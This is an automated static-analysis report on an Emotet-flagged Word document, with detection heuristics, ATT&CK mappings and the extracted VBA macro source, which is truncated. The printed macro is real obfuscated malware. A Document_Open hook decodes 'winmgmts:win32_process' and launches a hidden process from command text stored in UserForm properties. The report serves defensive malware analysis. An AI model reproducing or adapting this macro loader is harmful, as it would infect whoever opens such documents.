Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0fd93a090eff99bb…

MALICIOUS

Office (OLE)

169.7 KB Created: 2020-07-28 19:39:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: dcdb8cd5a2a7d14949955271cc7edec4 SHA-1: 078e12330a8f826b6e6b3bb22fa2626ba39c1be1 SHA-256: 0fd93a090eff99bb3e599b4420d90860fef886f91b801cc8ce18542a3faf347d
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9253755-1'. The VBA script appears to be obfuscated but uses CreateObject and string manipulation, likely to download and execute a secondary payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9253755-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9253755-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5103 bytes
SHA-256: 45cb629459a677c704ae1150fdd3b0acc232fcb82496def7334952bc8d355280
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LTZLKmzkitidmcrjpm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
OYUHFlcrgpka.ZSMONomxmlfnayqvp
End Sub


Attribute VB_Name = "OYUHFlcrgpka"
Attribute VB_Base = "0{748799B0-FA58-4725-AEC3-9925BF42A892}{0FCF4E5C-3B5C-4E4F-83AC-DED820616B0B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ZSMONomxmlfnayqvp()
IRLLCrkokygy = Chr(OYUHFlcrgpka.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
QNYDFpfmfbxg = "YNESBovgiooii"
Loop
FLXHHqopwtdtgvrq = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + IRLLCrkokygy + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + OYUHFlcrgpka.NUKBBmfrzopskhfrjc + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
DDBVNrxhipjwheofsn = "LMPOSieatiyjvx"
Loop
OEVAIeddhjooba = LNFLCbyvcecpqqex(FLXHHqopwtdtgvrq)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
CIEFKogqfpjehrsdwa = "WINPInjrezjfnzmbfam"
Loop
Set SULYKzyackctoxaurj = CreateObject(OEVAIeddhjooba)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
CUIHBipkuhgl = OYUHFlcrgpka.ONANUvnlzrhurv.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
TFVKYidwiafcj = "AMPTWsbwbrvkvfvpnc"
Loop
KXBUIksojffb = NN + (OEVAIeddhjooba + IRLLCrkokygy) + OYUHFlcrgpka.TSBRUgobmrcbytzdg.ControlTipText + CUIHBipkuhgl
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
OFOGNmilboubgxnofj = KXBUIksojffb + OYUHFlcrgpka.NUKBBmfrzopskhfrjc
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
XGRNCqzjmjduhvs = "ZMMETcwdeponybtncrl"
Loop
Set SPQFWcxgnsnkjihnv = KIVQTmwjxuef(OFOGNmilboubgxnofj)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
IZNCWipnxwoodgvc = "YQVJNimbmlkp"
Loop
uiii = Array("BNSBSBBSSS", SULYKzyackctoxaurj. _
Create(ACVOVfazguhrdkfhbx, SPJDQazjhlnighba, SPQFWcxgnsnkjihnv), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function KIVQTmwjxuef(AZMQGaiqdjryygony)
Set KIVQTmwjxuef = CreateObject(AZMQGaiqdjryygony)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
RGQMDbqgvqaajwe = "HEYEAqudqqfhahalbct"
Loop
KIVQTmwjxuef.showwindow = (ZDOOTwujyjyoi + YDDWJblmvnvifnp) + (ZGCAZepjldvlehsq + QJXIEsssmhbtkrhtkjr)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function LNFLCbyvcecpqqex(AAPXIdnmdvkieljz)
DJDTHkmotjskwow = AAPXIdnmdvkieljz
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
HLUNTlggaiouejo = "SGUOKimwoqalo"
Loop
VNEIRjhydrugiwz = Split _
(DJDTHkmotjskwow, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
UYBFReojotmlsetgo = "CCBDPdazyxzd"
Loop
MPAUDksznpds = kooooo + Join(VNEIRjhydrugiwz, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY 
... (truncated)

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